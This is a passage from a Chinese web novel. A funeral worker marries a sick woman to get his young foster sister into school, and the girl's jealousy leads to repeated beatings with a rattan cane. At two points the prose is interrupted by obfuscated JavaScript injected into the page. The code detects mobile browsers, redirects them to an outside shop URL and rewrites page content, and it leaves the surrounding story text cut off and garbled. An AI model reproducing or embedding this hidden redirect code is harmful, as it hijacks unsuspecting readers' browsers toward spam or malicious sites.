余泽是在酒桌上跟人喝酒喝到胃出血的,喝酒那人是教育局一个部长,过去在焦厚非手底下工作。 焦厚非走的这些年,他被人穿小鞋穿了这么多年。 余泽到最后都喝红了眼,那人在电话里说能办。隋空到了医院,在一间坐诊室里找到了刚刚洗完胃的余泽。 大夫一听说他是余泽的朋友,拿着刚化验的单子,跟隋空语重心长劝说道, “这胃溃疡,不能这么喝的啊……” “身体是年轻,但是年轻人也不能这么不注重身体!” “是是是……”隋空唯唯诺诺点着头。 余泽人是清醒的,但是因为疼痛,额头上全是汗。外面的西装外套不知道丢到了哪里去,领带也散落开来。没人陪他来医院,据说是酒桌上哪个秘书随便给他打了个车,打发他过来看病。 拿了药,隋空扶着余泽上了小三轮。 余泽一上车,瞬间眼眶就红了,吸着鼻子。隋空不知道该说什么是好,把药扔在 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谢珞珞想了半天,找了个小板凳,踩着去煤气灶上生水。 隔壁棉线店家的王叔叔,经常大半夜喝酒喝到烂醉。有时候谢珞珞没回家,和小哥哥一起趴在门口,看到王婶边骂边给王叔叔煮醒酒汤。 家里是有蜂蜜的。 蜂蜜放在厨房柜子上面,下面就烧着水壶。柜子有些高,余泽平日里不让她来这边乱动。 谢珞珞够不到蜂蜜瓶子,于是便把小板凳搬到柜子底下,踩着凳子伸手往上面够。 哐当——! 一个玻璃瓶子忽然从上面掉落了下来,砸在了谢珞珞的胳膊上。 谢珞珞吃痛,脚瞬间站不稳了,她害怕的摇摇摆摆,手指往前乱抓。 一不小心,摸到了那烧开了的水壶铁壁。 …… “啊——————” 隋空真的是刚回到家,脚都还没踏入家门。 就又接到了谢珞珞打过来的电话。 余泽那群兄弟里,谢珞珞跟隋空最熟,所以多数也都只给隋空打电话。 隋空马不停蹄,又连夜把烫伤了的谢珞珞,给送到了医院去。 回去的时候,谢珞珞两只眼睛还在肿着,被烫到了的胳膊上缠着厚厚的纱布。 还好,没烫到脸脖子别的地方之类的。 隋空看了看隔壁卧室睡烂了的余泽,叉着腰,又看了眼只敢掉眼泪一点儿声音都不敢出的谢珞珞。 “……” 他叹了口气。 “行吧。” “珞珞,你先去睡觉。” 谢珞珞:“隋哥哥……” 隋空一指旁边的余泽, “今晚我住在这儿,我帮你看着你哥。” “你睡觉的时候,记得不要压着胳膊烫伤的地儿。” …… 翌日。 余泽醒了过来,头还在炸裂的疼。 一睁开眼,便看到隋空推开门,给他桌子上放了几片药。 “……” “你怎么,在这儿?” 嗓子哑得不像话。 隋空气笑了, “我不在这儿。” “你昨晚在哪儿死的都不知道!” 余泽晃了晃脑袋,他实在是想不起来昨天晚上的发生的事了。 半晌,他皱着眉,问了句, “珞珞呢?” “……” 隋空把珞珞给喊了过来。 小姑娘已经醒了。 听到隋哥哥喊她,便小步小步靠近了余泽的房间。 避在门口,露出一半的身子。 右胳膊使劲儿往身后藏。 余泽:“过来。” 谢珞珞不动,大大的眼睛里,写满了愧疚。 余泽:“过来——” “……” “你胳膊怎么了!!!” 谢珞珞的那点儿小九九,又怎么能藏的过余泽的双眼? 余泽在她小步小步走过来的时候,就发现了那细嫩的胳膊上,缠着的纱布。 谢珞珞低着头,走了进去。 余泽一把把她给拉了过来,撸起胳膊就看。 包了纱布,稍微露出来的地方,烫出的水泡被挑破,涂满了褐色的药膏。 “怎么回事!!!”余泽眸子都寒了。 谢珞珞红了眼睛,大气不敢喘一下。她小口小口吸着空气,肩膀一抖一抖。 “哥、哥……” 余泽:“说话!!!” 谢珞珞吧嗒掉下来眼泪,红着眼睛,不敢大哭, “烫,烫伤的。” 余泽近乎要吼了, “怎么——烫伤的!!!” 谢珞珞:“熬,熬糖水。” “一、一不小心,烫、烫伤了。” 余泽心头的火直窜。 抓着谢珞珞另一只胳膊,扬手就在她屁股上拍了三四下。 谢珞珞吓得,彻底哭不出来声。 “哥,哥,哥……” “呜呜,哥,哥,珞珞、珞珞,” “珞珞,错了,呜……” 余泽气糊涂了。 家里的煤气灶,以及柜子上的东西,他一直不让珞珞碰。 就连煮方便面,都是让珞珞单独用专门买的小功率电磁炉! 余泽:“我说了多少遍——不要碰烧水壶!不要碰煤气灶!!!” “柜子上的东西你够不到,不要去碰——” 隋空端着煮好的稀饭走了进来。 见余泽怒火冲天训斥谢珞珞,小姑娘还捂着屁股,吧嗒吧嗒掉眼泪却不敢声张地去哭。 隋空瞬间也懵了。 扔了饭碗,一把将珞珞拽了过来。 别在身后。 “你这是干嘛——” “你怎么还打孩子!!!” 余泽指着谢珞珞, “我说了多少回,不让她碰煤气灶不让她碰煤气灶!!!” 谢珞珞“哇——”地嗓子,终于大哭了起来。 隋空一急,瞬间一巴掌砸在面前的桌面上, 对着余泽吼了回去, “妈的!” “你们家昨晚上停电!!!” “珞珞是给你煮糖水,她看你难受!!!” “她确实不该碰煤气灶,小孩子确实危险!” “但你知道你昨晚上喝成什么样了吗?我他妈在医院看到你的时候——老子忒娘的都以为你快要死了!!!” 7. 第 7 章 隋空说—— “余泽,你他妈要是死了,珞珞绝对比你帮她上不了小学哭的还难看!” 一进入六月份,道路两侧的玉米地生长的愈发灿烂。 绿绿葱葱,整个世界都是明媚的。 余泽最后一次接到派出所苏姐的电话,苏姐所在的派出所在临城里面,距离锦水镇很近,那边有个很知名的小学,在临城都算数着了。 苏姐:“最宽松的一次了,多出来十三个名额,现在都在挤破头往里面进!” “我特地给你家珞珞留着,余泽,只要你上午给珞珞办了户口,下午拿着户口本就能给你把珞珞弄进那个小学去。机遇不可多求啊!” “水哥,你当年帮我父亲办丧,我是真的感激你,所以这个名额我给你留着,留到报名截止的最后一天。但要是你还是给珞珞办不了户口,那……我也就没办法了。” 余泽坐在门口,抽了整整一晚上的烟。 “余水丧葬”匾额上四个大字,被太阳烤的油光发亮。 隋空开着车,看到余泽往车后备箱搬了一大箱茅台酒,还有好几条中华烟。水果米啊面啊一放一大堆。那都是平日里他们很难见到的好东西,稀罕玩意儿。 “水哥,你这是……要送礼?” 余泽合上面包车的后备箱,转回来跳到副驾驶上。 “嗯。” 隋空还在好奇着余泽这是要给谁家送礼,难不成又是哪个可以帮珞珞办户口的大官?然而车开到了他们家门口,隋空瞬间吓住了。看了余泽好几眼,哆哆嗦嗦地问, “我……我家祖坟哪冒烟了?” “……” 余泽提着一堆礼,直径走向了隋空表姐林卿邻家的大门。 酒过三巡,余泽红着眼睛,跟林家父亲,提出来他想要娶林卿的事情。 那一瞬间,整个屋子都静了。 就连门口天天叫唤的大鹅,都抬着一只鹅掌,立在原地。 隋空以为自己没睡醒,怎么就是喝了个酒吃了个饭,世界就天旋地转。林卿姐喜欢余泽这事儿人尽皆知,但余泽以前可真的没对林卿姐有过多一眼的停留。 林家夫妇和隋家老俩口还在愣的时刻,从床上病怏怏下来坐在桌子前来见余泽的林卿,忽然就一把手捂住了嘴巴。 眼泪哗啦哗啦就往下流。 她可想嫁给余泽了! 林家的父母,一点儿意见都没有。 余泽说的飞快,仿佛这件事他早就开始着手办。一顿饭的功夫,婚礼举办日期都给定了下来,世界如此不真实,但的的确确余泽要娶林卿了。 离开林家的时候,天色都还亮堂着。 林父把余泽送出了门。 “小余,”林父虽然迷信,但他不糊涂。 余泽那明摆着是要跟林卿结婚,有目的的。 林父:“你待我家好,这份情,我们老两口一直记在心里。” “你跟我说说,你突然要娶卿卿,是不是因为你家那个小丫头要上学的事情?” 余泽嘴上不说,但心里到底还是有些歉意。 他退后了一步,弯腰,鞠了鞠躬, “对不起,伯父……” “要是您不愿意,林卿不愿意。” “我就不勉强了……” 林父连忙伸手,把余泽给扶了起来。 “哎!道什么歉!” 余泽直起身。 林父炯炯有神看着他,半晌,吸了口老式烟斗里的烟,吹在空气中。 “卿卿一直喜欢你。” “她没读过书,身体……医生说也就那么几年的事情了。” “她有福了。” “小余,我们总感觉,就是对不起你啊……” “你还那么的,年轻。” “……” 隔了两天,余泽就跟林卿去把证给领了。 当天下午,民政局系统录入余泽结婚的信息,余泽揣着户口本,让隋空把珞珞从王婶家里接过来,接到锦水镇的派出所。 谢珞珞还不知发生了什么,还挺开心的。隋空开着车,也一脸欢喜,毕竟是自家表姐嫁出去了,全家这段时间都沉浸在喜洋洋之中。 二堂姐和表姐是两家子,余泽结婚这事儿,不犯冲。 “珞珞,你马上就有学上咯!”隋空拍着方向盘,笑盈盈喊道。 谢珞珞瞪圆了双眼,惊讶, “真的吗!” 隋空:“你就等着九月份背上书包去学校吧!哈哈!” 谢珞珞:“耶耶耶!” 到了派出所,警察给办户口办的很利落,咔咔几个印,余珞珞的名字彻底写在了余泽的户口本上。 隋空还指着余泽,跟珞珞笑道, “以后你就跟着你水哥哥……这以后怎么叫了啊?” 余泽抬了抬眼, “先不改口了吧。” 隋空:“得!” “珞珞,以后跟着你水哥姓‘余’,好不好啊?” 谢珞珞当然愿意跟着余泽姓。 在她的世界里,余泽就是全天下。 “愿意!” “以后珞珞就叫‘余珞珞’啦~” 然而到了晚上。 谢珞珞就开心不起来了。 她头一次跟余泽闹了脾气。 余泽看着被甩上了的卧室门,还有摔在林卿身上的药。 火差点儿没控制的住。 林卿家里还是有点儿封建的,觉得还没办婚礼,就算领了证,女儿还是要先回家住。 今天晚上,就是来余泽家里吃个饭。 可谢珞珞却在听到了余泽居然和林卿结婚了,那一瞬间,一下子就从椅子上站了起来。 她红着眼睛,小脸皱成包子,嘴角往下撅着。 眼泪瞬间就汹涌往外冒。 “我不要你结婚!!!” 说完,一脚踹在了桌子腿上。 摆了整整一桌子的饭菜,掉下去了好几盘。 都是余泽晚上辛辛苦苦做的。 还有给林卿熬的药,林卿身子到底是不行,药得当饭吃。 那药一下子就泼到了林卿身上,女人穿着藕粉色的连衣裙,露出光洁的皮肤。滚烫的药泼上去,瞬间在纤细的胳膊上,烫出来好大一片红印。 余泽当场就火了,谢珞珞直接跑回屋子里,摔上了门。门“砰!”的一下子,震得地面都在乱摇晃。 要不是有胖子和林卿拦着,余泽可能就冲了进去。 “谢珞珞——你给我出来!!!” 余泽是真的把珞珞当自己孩子了,所以才会在这种时刻这么的动怒。胖子拉着余泽的肩膀,好话好说劝道, “唉!水哥!孩子,还是个孩子。” “你得让她有个,接受时间吧……” 第二天一早,余泽敞开门准备出去开工。 忽然就看到谢珞珞背着小红书包,手里面还提着一大袋子玩具。 就站在门口,东看看西看看。 余泽对于昨天晚上的事情,气已经消了。的确,突然家里多出来个人,小孩子认生,也的确得让她慢慢接受。 可下一秒钟,当余泽看到了谢珞珞手里买好的车票。 火气又控制不住地窜上来了。 余泽把门给关了,打了通电话让隋胖子这两天不要来找他。 谢珞珞吓得小脸惨白惨白,手都攥着衣服不敢动。 但还是硬着头皮,眼睛里全都是赌气的倔。 余泽给自己倒了杯水,尽量让自己声音听起来没那么恐怖。 “……” “准备去哪儿。” 谢珞珞:“……” “车站。” 余泽:“谁给你买的票?” 谢珞珞:“隔壁凯凯哥哥。” “凯凯哥哥说,你娶了后老婆,就不会对我好了。” 余泽:“你有钱?” 谢珞珞:“凯凯哥哥带我去镇子上捡水瓶子,换的。” 余泽瞬间气笑了。 一口一个“凯凯哥哥”。 小小年纪,就学会了离家出走? 他将手中的鸡毛掸子“哐当——”一声砸在了桌面上。 然后指着旁边房间的门。 厉声厉色道, “今天就给我呆在这屋里。” “哪儿都不许去!!!” 谢珞珞瞬间扔了肩膀上的书包。 玩具哗哗啦啦都滚落到了地面上。 大步流星冲回了房间,甩上门。 余泽捂着胸口,感觉到心跳都快飞上天。 胃生疼。 晚一点儿的时候,隋空载着林卿来到了余家。 余泽正在做饭,煮了细细的龙须面。 隋空姐弟俩一来,他也没东西招待。拉出来电磁炉让隋空给他姐熬药,自己把挂面凉在冷水里,拿上钥匙去隔壁小餐店买了几个凉菜。 浇了酱汁的卤牛肉,切蒜猪耳朵,还有几个小青菜,桌子瞬间铺满。余泽给林卿拿了点儿红枣茶,自己开了瓶啤酒,隋空喝茶,他开车不能喝酒。 “不叫珞珞出来吃饭?”隋空努努嘴,往隔壁门紧闭的房间一指。 余泽:“惯她的。” 隋空放下筷子,站起身,去珞珞的房间敲了敲门, “珞珞——珞珞?” “出来吃饭吧?” “你哥给你买了你最爱吃的酱牛肉。” “……” 好半天都没声音。 隋空碰了一鼻子灰,只能坐回到饭桌上。 余泽找了两个干净的碗,一个碗里盛上面条和浇头,另一个里每一样菜都夹了一些,卤牛肉又给放了香菜,珞珞不吃香菜,他便把香菜剔干净了,再放到碗里。 转身放在一旁,用盘子盖在上面。 “吃!”余泽坐回到桌子前,拿起筷子。 林卿吃的很少,一顿饭基本上都在隋胖子干。余泽喝了点儿酒,有些沉闷。几个人说了一下婚事,隋空突然问, “那水哥,你都要结婚了,这几天的活……” 余泽早就安排好了。 “你家里,肯定也忌讳这事儿。” 余泽手按在膝盖上,看着林卿,说。 “这两个月,就得麻烦成安他们了。” “你也别跟着去——”余泽喊隋空。 隋空夹着卤牛肉,呼噜呼噜吃面条。 隋空:“得嘞——我不去我不去,我姐结婚,我去给人拉骨灰啊!” 余泽笑了起来。 隋空放下碗,打了个饱嗝。 又扭头,拉着余泽的衣服, “那你跟成安他们,那几户人家的电话号码——” 余泽站起身, “我这就给你去拿。” “回头你帮我带给成安。” “告诉他们多了的账,送回来我处理。” 隋空:“哎!好的!” 余泽转身就往对面的店面走去,随手一带门。 隋空低下头来,想要继续吃点儿凉菜。 “姐,你不再吃点儿?这面条挺好吃的,水哥下面条的手艺是真的绝……” 哐当—— 隔壁卧室的大门,突然被人给踢开。 谢珞珞忽然拿着一把玩具枪,枪口瞄准了正坐在椅子上在消食的林卿。 噗! 一颗黄色的小圆塑料子/弹, 笔直笔直崩到了林卿纤弱的脖颈上。 “去死吧去死吧!” …… 隋空是第一次见余泽发那么大的火。 房间里不断传来男人的呵斥声,以及藤条抽断了的声音。 女孩子哇哇大哭,嘴里面一个接连一个蹦出来“我讨厌哥哥”“我讨厌她”。哐当——下子,像是墙上挂着的什么东西被撞了下来,砸在了地上。 玻璃碎了一地。 林卿想要去劝劝余泽,被隋空揽住了,摇摇头。玻璃砸碎的那一刹那,余泽终于停下了手中的藤条。屋内就剩下小姑娘抽噎的声音,喊着“疼”“疼”“疼……” 隋空站了起来,走到那紧闭的房间门前。 轻轻敲了敲。 “水哥啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林卿长长叹了口气, “也行,也行。” 天色渐渐已晚。 隋空和林卿回去了,余泽去隔壁小诊所拿了点儿红花油。 出诊所的时候,刚巧碰上了棉线店的王婶。 “哎小余啊!”王婶忽然一脸愧疚。 拉着余泽的手,往他怀里塞了一包她刚纺出来的布料。 余泽一愣。 王婶扭了扭头,犹犹豫豫地道, “实在是对不住了。” 余泽:“……怎么回事?” 王婶:“我儿子,就小凯,也不知道什么时候跟珞珞说了那些不好的话。” 余泽:“哪些?” 王婶:“不就……说什么你找了老婆,就不疼珞珞了。” “老婆是亲老婆,珞珞不是亲珞珞……” “……” 余泽总算明白,珞珞突然闹翻天的缘故。 他其实是有些难受的。 他为了珞珞上学结的婚,但是到头来却把珞珞给伤着了。 小孩子别看是小孩子,心里明白着呢。 他没怪王凯,七八岁大大男孩儿,能说出这些话也都是听大人说的。 他也没怪王婶他们,要怪就只能怪他自己,没本事。 只能用结婚这种方式,来给珞珞铺一条可以上学的路。 余泽在门口又抽了一支烟,随即提着红花油,上了楼。 走到楼梯口就听到二楼的房间有微弱的抽噎声,夹杂着奶音。余泽看到他给珞珞留出来的晚饭也都没动,不禁又是一阵的心疼。 咚咚咚—— 余泽敲了敲门。 里面的抽噎声顿时停了一下,尔后又开始呜呜咽咽哭。余泽推开门,把热好了的饭放在旁边的小书桌上。 在床边坐了下来。 谢珞珞整个人蒙在被子里,鼓出一个小小的山丘。 余泽忍不住一笑,小姑娘听到他低沉的笑声,微微拉开被角,露出一只大大的眼睛。 水汪汪看着他。 余泽隔着被子,摸了摸她的脑袋。 谢珞珞又开始呜呜哭了起来,余泽觉得这小丫头哭着也惹人疼爱。他后悔下午打重了,那个时候怎么就那么生气,一下子没收住手? “还疼么?”余泽问她。 谢珞珞抽噎着,蒙着被子,用力点点头。 余泽拍拍她的肩, “哥哥拿了红花油。” “让哥哥看看。” 其实打的并不重,余泽到底还是收住了力道。但小姑娘细皮嫩肉的,稍微一用力就能给抽红了。 谢珞珞扭扭捏捏,有种说不上来的不自在。可屁股也确实好疼,余泽声音一温柔,她更是委屈巴巴的了。 被子动了两三下,谢珞珞蒙着脑袋,鸭子般慢慢吞吞转过身去。 余泽掀开那盖着的毛巾被。 留了好多条印子,余泽心脏钻了的疼。他把红花油的瓶盖给拧开,往掌心倒了些。 然后手掌揉搓,压均匀了。 一双手上铺着厚厚的茧子,揉搓在女孩细嫩的肌肤上,传来阵阵的颤栗。谢珞珞几乎是一秒钟就感觉到了那丝沉重的温暖。 带着很多很多的愧疚,以及无法抗拒的严厉。 她忽然就控制不住眼泪,泪水唰的下子就滚落了下来。她呜呜抽噎了一会儿,小手攥着被角。 抬起头,皱皱巴巴地问道, “哥哥……” “你会不会,不要珞珞了?” “……” “你娶了新老婆,” “会不会,就彻底丢掉珞珞了啊……” 8. 第 8 章 余泽有时候感觉挺感慨的。 他没有想过不要珞珞,而似乎做的所有的事情,都是为了让珞珞能够可以去读书。 至于为什么要这般执着。 他不知道。 余泽摸着谢珞珞的脑袋,说, “不会的。” 谢珞珞终于“哇——”的一嗓子,哭出了今天的第一声。 很长一段时间,林卿也不来了。她身子本来就不太好,谢珞珞的反应也大,她觉得得给小孩子一点儿消化的时间。 林卿虽然没读过书,但是心底还是蛮善良。 余泽每天早出晚归,除了发发请帖之外,也没什么别的动静儿,仿佛他不是要结婚,只是找了个任务要完。谢珞珞看不出他要结婚的高兴,隋空也觉得余泽有些太沉得住气。即便是没什么感情,为了一件事而结的婚,可到底也是人生大事,办丧葬那么重要,结婚也是很重要的。 珞珞去小学报道那天,余泽把自己压了一个暑假的西服都给拿了出来,去隔壁熨烫店给熨的板板正正,穿在身上。 余泽牵着谢珞珞的手,走进了小学的大门。 小学报名就是录入信息,还未开课,报名结束后,余泽又开着车回到家去。他专门找了辆帕萨特,看起来很光亮气派。隋空看着边开车边笑的余泽,仿佛那一暑假最美好的事情都在今天发生了。 “笑什么。”隋空看着余泽笑,他也忍不住笑了起来。 余泽瞥了眼放在车前凹槽里的录取通知书,眼睛眯了眯,笑出两道褶子。 “……” “开心的。” 隋空:“你领结婚证那天,也都没见你笑成这样。” 余泽笑而不语。 隋空回头,看坐在车后面的谢珞珞。 “珞珞,开心不?” “你哥终于能让你上小学了!” 谢珞珞已经很多年没坐过这么好的车了,空调那么凉快,也没有骨灰火烧的味道。可她的脸上却一点儿高兴都没有,坐在车后座,抱着小红书包。 小嘴撅起来,大大的眼睛盯着玻璃窗,一言不发。 “珞珞怎么了?”隋空压低了嗓子问。 “还在为……你结婚那事儿?” 余泽没回答,有什么东西在心脏里乱搅着。 一晃两个月,七月流火,八月朔风。 八月中最炎热的那一天,余泽结婚了。 在场来了不少人,大多是余泽曾经帮忙办过丧葬的。余泽作为送终的摆渡者,刨去过往那些事情,大家都还是很尊重他。 上午去了酒店,晚上就在家里办。院子都给打扫了出来,对面两栋邻居也都贴上了喜气洋洋的红色窗花。林家的人都来了,院子内外都摆上宴席桌,大鱼大肉一盆盆往桌子上端。 新娘子身体不太好,众人们也都没太瞎折腾。几乎一个晚上都是余泽在敬酒喝酒。余泽穿着熨烫笔挺的西服,头发向后梳,上面沾满了星星点点的彩色亮片。 夜里十点多,院子里的人也走的差不多了。 剩下的胖子以及成安他们,帮忙清点着今天收的份子钱,还有一些酒水什么的开销。结婚这事儿是真的累,大伙儿吃吃喝喝,办婚礼的人从凌晨三点钟开始就要各种忙活。 “这水哥那群老师同学的,可真都他妈的王八蛋!”隋空统计着份子钱,统计到最后,忍不住破口大骂。 他们哥几个也喝了不少,说话都不端着了。成安帮忙把多出来的酒水钱一笔笔算,大块头计算器“归零归零”叫唤个不听。 “啥?水哥……同学咋了?” 隋空:“特么的……一个都没来!” “我给他们,送请帖的时候,一个个,都说着,好好的。” “说当初,泽哥的事情,也是有苦衷。大家也说,都过去这些年了,无所谓。同学情谊深,同学情浓!” “结果一个个,哪有来的?” “现在,又不是开学,嗝!都特么在家里。” “都特么,不来!” 成安:“可能,也还是介意吧。” “不来就不来,水哥又不差那些朋友。” 隋空:“可……以前水哥,也是,很在意他过去的,同窗的。你看上次赶海村赵老头死的时候,嗝!他给办的,明显就在顾及曾经同窗,情分,嗝!” 成安:“哎对,赵来好像随份子钱了。” 隋空:“赵来随了?我瞅瞅——” “嘿!还真有他!但他人来了么……” 余泽忽然从楼上下来,拽着胸前的领带。 余泽也喝了不少,但他喝酒向来不上头,只能看得到他的耳朵有些泛红,眼白里面拉着几道红色血丝。 周围弥漫着酒味。 余泽看到了秦婉送来的那几万块钱,没什么表情,让他们几个整理好了,就早回家吧。 “剩下的,明天起来我再弄。” 白衬衣黑色西装依旧妥妥贴贴穿在他身上,这个时候还是能看得出来余泽过去那些玉树临风的底子的,翩翩少年郎。 然而他才二十三岁,就结婚了。 隋空几个折腾完,一个一个离开了余家。 余泽把领带一叠,放在椅子上,仰着头吐着酒气。很多年没见过这么大的热闹了,办丧葬的吃席热闹终究不一样。似乎有点儿回忆起来刚上高中那一天,那个时候他是全校第一,全学校老师们最器重的人才。 全学校女孩子最憧憬的少年,全学校男生最敬仰的天之骄子。 他拿着手里的演讲稿,站在演讲台上,沉稳有力的少年音,穿透了夏末的阳光。 似乎都已经是上辈子的事情了。 隔壁两扇门,一扇轻微打开了一道缝。是珞珞的房间。 林卿在他的房间里,睡下了。他们早先说好的,很多事情你不提我不说,就那么着。 谢珞珞踩着小碎步,大大的眼睛望向余泽。 今天一整天,谢珞珞都躲在二楼的房间里,不出来。余泽看着谢珞珞,小姑娘手里还攥着一个很小很小的东西,说不上来什么感觉的那么避着他。 余泽直起身。 他喝的挺多的,也是醉,不知道该说些什么。谢珞珞对他结婚的事情一直很不开心,他一想到这事儿就心脏疼。 谢珞珞忽然走上前来,步子迈的很轻。 “哥哥……” 余泽张了张嘴,发现找不到自己的声音。 谢珞珞伸出手,展开一个很小很小的瓶子。 那应该是从小卖部里买糖吃出来的玻璃瓶。瓶子不大,上面插着木塞子。 里面有好多只,闪闪发光的千纸鹤。 谢珞珞吞吞吐吐,晃了两下生嫩的胳膊。 “结婚快乐……” 余泽忽然就想起那个雨夜,他砸了整个西街,他以为这辈子就这样了,就如同一个野狗般苟且活着。 那双稚嫩的小手,将那瓶胃药,递到了他的面前。 良久,余泽什么都没说,可眼眶却在那一刻热了起来。 “珞珞……” 他忽然伸出胳膊,将谢珞珞圈入了怀中。 紧紧地,抱在怀里。 …… * 秋天。 芦花在路两侧飘飘摇摆着。 余泽把楼下的仓库给改了,又弄了一个单人房间。 就这样,余水丧葬的隔壁,上下两层,一共三间房子。 分别住着三个人。 谢珞珞上了小学一年级,学习成绩很好,经常考双百分,她的人缘也很不错,在班上有很多很多小朋友喜欢和她一起玩。 她依旧叫“谢珞珞”,余泽没纠正,老师们也了解一些情况,纷纷心知肚明着,写奖状时也都写的“谢珞珞”三个大字。 锦水河的芦花开的最茂密的那天,学校里给小学一年级颁发第一批少先队员红领巾。 谢珞珞开开心心戴着红领巾回家,路边上都是在收割稻子和晒谷子的,隔壁上三年级的凯凯哥哥还跟她吹了个口哨。谢珞珞扬着手里的小黄帽,胸口前的红领巾飘的愈发灿烂。 余泽和她之间的别扭似乎减淡了不少,其实是谢珞珞单方面跟余泽闹别扭。但是当她看到结婚后的余泽依旧对她那么的好,对待林卿也没有那么好,甚至不跟林卿居住在一个房间里后,谢珞珞又开始变回以前那个无忧无虑的开心包。 她还小,并不能理解很多事情,她只知道自己如愿以偿上了小学,哥哥对还是那么那么的疼爱。 只是仍旧不愿意待见林卿,有时候余泽让她给林卿端个药,她都别别扭扭。 走到门口的时候,谢珞珞整理了一下校服,把领子口前的红领巾重新系了一遍,边边角角都压的整整齐齐的。 余泽在珞珞上小学后,下午就不太多接活,基本上四点半就收工,晚上给再多的钱都不可能多办一场丧事。 谢珞珞美滋滋想着怎么跟余泽说自己拿到红领巾了。 门没合。 小姑娘抓着胸口前的红领巾,先是避在门口,悄悄往里面探了探。 只是想着,酝酿一下惊喜的话语。 只是想着,还是有些不好意思呀。想要哥哥的表扬,如何才能给哥哥最大的高兴,如何能让哥哥抱着她在天上转一圈。 唯独没想到—— 会看到了那样的一幕。 因为是秋天的缘故,北方的秋天,落叶总是飘零的很快。 漫天的黄色,余泽院子里栽了一颗柿子树。一到秋天,柿子树的叶片就会变黄、发红,夏天翠绿的生柿子,到了秋天,也都会染上了橙红。 余泽坐在柿子树下,马扎扳开两条腿,撑在地面上的沙土中。 他手里择着花生,一打一打圆圆的叶片散落在地面前。旁边的摇椅里,林卿捧着暖手炉,静静躺在树阴下。 两个人的脸上都挂着淡淡的笑意。 那不是讲了一个很搞笑的笑话的笑,也不是恋爱中温柔地笑。是谢珞珞说不出来,但就好像时间已经过去了好几十年,落叶飞了好几个春去秋来。 携手过了一辈子,平平淡淡安稳的笑。 余泽剥了一个花生,红色麻皮包裹着的小颗粒,他手一抬,放入了对面的篮子里。 秋风吹啊吹。 那一刻。 谢珞珞忽然就很想很想,把背后的书包,往林卿脸上砸过去。 …… 谢珞珞哐当哐当上楼,楼梯被她踩的稀烂,余泽把煮出来的花生给她端过去,谢珞珞挺爱吃花生的,所以余泽每个秋天都会买很多。 然而谢珞珞却没有开门。 余泽敲门,问她怎么了。 不舒服吗? 谢珞珞趴在床上,用枕头蒙着脑袋。 她就是感觉很不开心,她不喜欢林卿。哥哥是她的哥哥,她不要跟人分享哥哥。 可是她又不能跟哥哥这样说,因为每次她欺负林卿,哥哥都会很生气。 “我要写作业!”谢珞珞委屈巴巴地喊道。 过了很久很久,余泽没再有声音,听到门口旋转过去的脚步,越来越远。谢珞珞把脑袋往被子里猛地钻了钻,眼泪吧嗒吧嗒往外冒。 晚上吃饭的时候,谢珞珞给林卿倒了一杯水。 林卿一个没接稳,水哗啦倒在了她手上。 谢珞珞骂了句“病秧子”。 正在调着电视机的余泽瞬间停下手中的动作,转过头来。 林卿当即就感觉到气氛变得不对劲儿,有种火/药炸开了的感觉。她拉了把余泽,想要让他别动怒。 “下午不是说的好好的吗,余泽你别生气……” 余泽低头,看着谢珞珞。 谢珞珞也不知道从哪儿抱过来的胆儿,冲上前去抓着林卿的手。 把她跟余泽的袖子分开。 “你不要抢哥哥!” “……” 余泽瞬间摔了手中的遥控器。 他指着卧室的门,冷冰冰地道, “回屋!” 谢珞珞瞪余泽。 这俩人每次拔剑弩张,到最后都会一个挨打一个气得胃疼。林卿知道每次余泽惩罚完谢珞珞,都会一个人难过的坐在院里子抽烟。 林卿也不希望这俩天天鸡飞狗跳的。 可她似乎也帮不上什么忙。 林卿明白余泽的脾气,生起气来基本上没人能劝得了,她只能跑上前去劝一劝谢珞珞。 “珞珞,是姐姐不好……姐姐刚刚没接稳,余泽你别跟小孩子这样,她不是有心的。珞珞,听话,咱先回屋里去,饭姐姐给你送… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191424|150745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 谢珞珞忽然大推了一把林卿。 林卿哐当摔倒在旁边的桌腿前。 林卿的身子什么样,余泽还是知道她身体不好不能摔打,以前谢珞珞皮归皮,但是不会伤害人。余泽一下子怒了,扶起来林卿,让她在旁边坐会儿。 当着林卿的面,拿出了藤条。 谢珞珞天不怕地不怕,但是是真的怕余泽的藤鞭。那东西抽在身上是真的好疼,每次挨打哥哥都下狠了手,撒娇求饶都不管用。 余泽让谢珞珞回屋,在床上趴好了。 林卿感觉到太阳穴生疼,很快房间里又是鸡飞狗跳的。到最后依旧是一根藤条折断了,谢珞珞扯着嗓子喊“我恨你”“我讨厌你们”,本来一顿好好的饭,又给吃成了这样。 外面的天压的沉闷,月亮不见了,隐隐约约有要下暴雨的迹象。 余泽拿着断成两半的藤条出来,身后还是哇哇大哭的声音,他哐当甩上门,坐在椅子上。 颓败地望着窗外。 虽然那力道绝对不会让小姑娘明天坐不了凳子,但余泽心里还是空落落的难受。 胃又开始绞痛。 林卿给他拿过来胃药。 余泽倒了两颗,就那么干着咽进了肚子里。林卿也不知道该说些什么,余泽忽然提出来,下去坐坐。 余泽拿着红花油,现在珞珞还在委屈和愤怒顶头,现在过去肯定她又哭又闹的。红花油散发着淡淡的味道,余泽把那瓶子开了下盖子,又“啪嗒”给关上。 风吹得很大,确实是要下雨了。 “要不,我回家里住吧?”林卿问道。 她心里都明白。 也不怨余泽。 反正她身体不好,也撑不了几年。 不奢望,余泽能把她放在心里。 余泽摇摇头, “小孩子,她今天骂你病秧子,明天拿玩具枪打你。” “必须得好好管一管。” 林卿:“珞珞以前……也这样?” 余泽:“没,小时候,可乖了。” 